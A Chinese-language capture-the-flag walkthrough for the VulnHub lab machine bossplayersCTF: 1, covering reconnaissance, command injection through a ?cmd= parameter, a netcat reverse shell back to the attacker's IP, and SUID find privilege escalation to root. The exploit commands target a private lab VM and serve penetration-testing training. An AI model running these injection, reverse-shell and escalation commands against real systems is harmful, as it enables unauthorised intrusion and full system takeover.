靶场:bossplayersCTF: 1 bossplayersCTF: 1 ~ VulnHubhttps://www.vulnhub.com/entry/bossplayersctf-1,375/
攻击机:kali-linux-2024
第一部分:信息收集
1,将两台虚拟机网络连接都改为NAT模式,并查看靶机的MAC地址
2,攻击机上做主机扫描发现靶机
arp-scan -l
靶机IP地址192.168.23.136,攻击机IP地址192.168.23.128
22/tcp open ssh OpenSSH 7.9p1 Debian 10
80/tcp open http Apache httpd 2.4.38
3,扫描靶机端口服务
nmap -sS -sV -n -T4 -p- 192.168.23.136
或者使用nmap的漏洞扫描脚本
nmap --script=vuln 192.168.23.136 -o vuln
4,访问80端口开启的服务查看做信息收集
bossplayers CTF - 由 Cuong Nguyen 创建
难度级别: [* ] [ ] [ ] [ ] [ ] [ ]
描述: 你好!我为那些想要弄湿脚的人创建的非常简单的 CTF。有一个方法论,避免 rabit 漏洞!我希望你喜欢这个,最重要的是,请玩得开心!
网站: sudocuong.com
5,dirb扫描该网站爆破出后台网页
存在/robots.txt泄露敏感信息,访问一下得到字符串,一眼丁真为base64编码
bG9sIHRyeSBoYXJkZXIgYnJvCg==
解码得到:lol try harder bro
访问nmap扫描得到的网页/logs.php看看
还是在网站初始页面/index.html的源码发现东西
第一次base64解码得到:ZDI5eWEybHVaMmx1Y0hKdlozSmxjM011Y0dod0NnPT0K
第二次base64解码得到:d29ya2luZ2lucHJvZ3Jlc3MucGhwCg==
第三次base64解码得到:workinginprogress.php
第二部分:漏洞挖掘
6,访问这个我们通过不断解码得到的网页
当前系统安装和任务状态
已安装的软件包
根据您提供的信息,以下是当前系统中已安装的软件包:
- Linux Debian
- Apache2
- PHP
待办事项
以下是当前待办事项的状态:
尚未完成
- Test ping command: 未完成
- Fix Privilege Escalation: 未完成
已完成
- Say Hi to Haley: 已完成
建议的操作
根据当前的任务状态,建议您按以下步骤操作:
- 测试ping命令
- 打开终端
- 输入ping <目标IP或域名>来测试网络连通性
- 检查输出结果,确认命令执行正常
- 修复特权 escalation
- 检查系统日志和审计记录,寻找潜在的特权 escalation漏洞
- 更新所有已安装的软件包到最新版本
- 确认所有系统用户只有其所需的最低权限
- 对系统进行安全扫描,查找并修复任何发现的漏洞
通过提示尝试一下ping命令
/workinginprogress.php?cmd=ping%20-c%203%20127.0.0.1
原来存在命令注入漏洞,可以利用起来
命令注入漏洞概述
命令注入是一种安全漏洞,攻击者可以通过该漏洞在受害者的系统上执行任意操作系统命令。这种漏洞通常出现在Web应用程序中,当应用程序将用户输入的数据直接传递给系统命令解释器时,如果没有对输入数据进行适当的验证和过滤,就可能导致命令注入。命令注入漏洞的信息:
- Commix工具:Commix是一款用于检测和利用命令注入漏洞的工具,适用于Web开发者、渗透测试人员及安全研究者。它可以帮助检测Web应用中的命令注入攻击相关漏洞,并且在Kali Linux中自带有这款工具1。
- 命令注入漏洞的利用:通过命令注入漏洞,攻击者可以执行诸如获取当前用户、反弹Shell等操作。利用命令注入漏洞的过程包括识别漏洞、构造恶意命令以及接收返回的Shell等2。
- 漏洞扫描工具:Nikto和OWASP ZAP是两款常用的Web应用安全扫描工具,可以帮助发现Web应用中的各种安全漏洞,包括命令注入漏洞3。
7,查看当前路径 ?cmd=pwd
查看当前目录下有什么文件 ?cmd=ls
查看服务器此时权限 ?cmd=id
第三部分:漏洞利用
8,既然这个web网站会直接执行我从url输入的命令,那么就可以通过反弹shell获得它的控制权
?cmd=nc -e /bin/bash 192.168.23.128 1234
9,在第8步的同时开启端口监听 nc -lvvp 1234
通过python脚本获取直观shell
python -c 'import pty;pty.spawn("/bin/bash")'
10,查看权限id,whoami
查看内核信息uname -a
第四部分:提权
11,查看是否能够sudo提权
该用户并没有能够sudo提权利用的地方
12,查看有没有suid提权利用点
find / -perm -4000 -type f 2>/dev/null
- find /: 在根目录/下进行查找。
- -perm -4000: 查找权限中包含SUID(Set User ID)位设置的文件。-4000表示查找具有SUID权限的文件。
- -type f: 只查找文件类型为普通文件(非目录、设备文件等)的文件。
- 2>/dev/null: 将命令执行过程中产生的标准错误输出重定向到/dev/null,即忽略错误输出。
13,尝试利用find提权
find . -exec /bin/bash -p \;
1,find .:
- find 是一个用于在文件系统中查找文件的命令。
- . 表示从当前目录开始查找。
2,-exec /bin/bash -p \;:
- -exec 是 find 命令的一个选项,用于对每个找到的文件执行指定的命令。
- /bin/bash -p 是要执行的命令。
- /bin/bash 是Bash shell的路径。
- -p 是Bash的一个选项,表示以特权模式启动shell。这个选项会尝试保留用户的有效用户ID(EUID)和组ID(EGID),即使它们与实际用户ID(UID)和组ID(GID)不同。
- \; 是 -exec 选项的结束符,表示命令的结束。
提权利用成功,成功变成root用户,得到flag:congratulations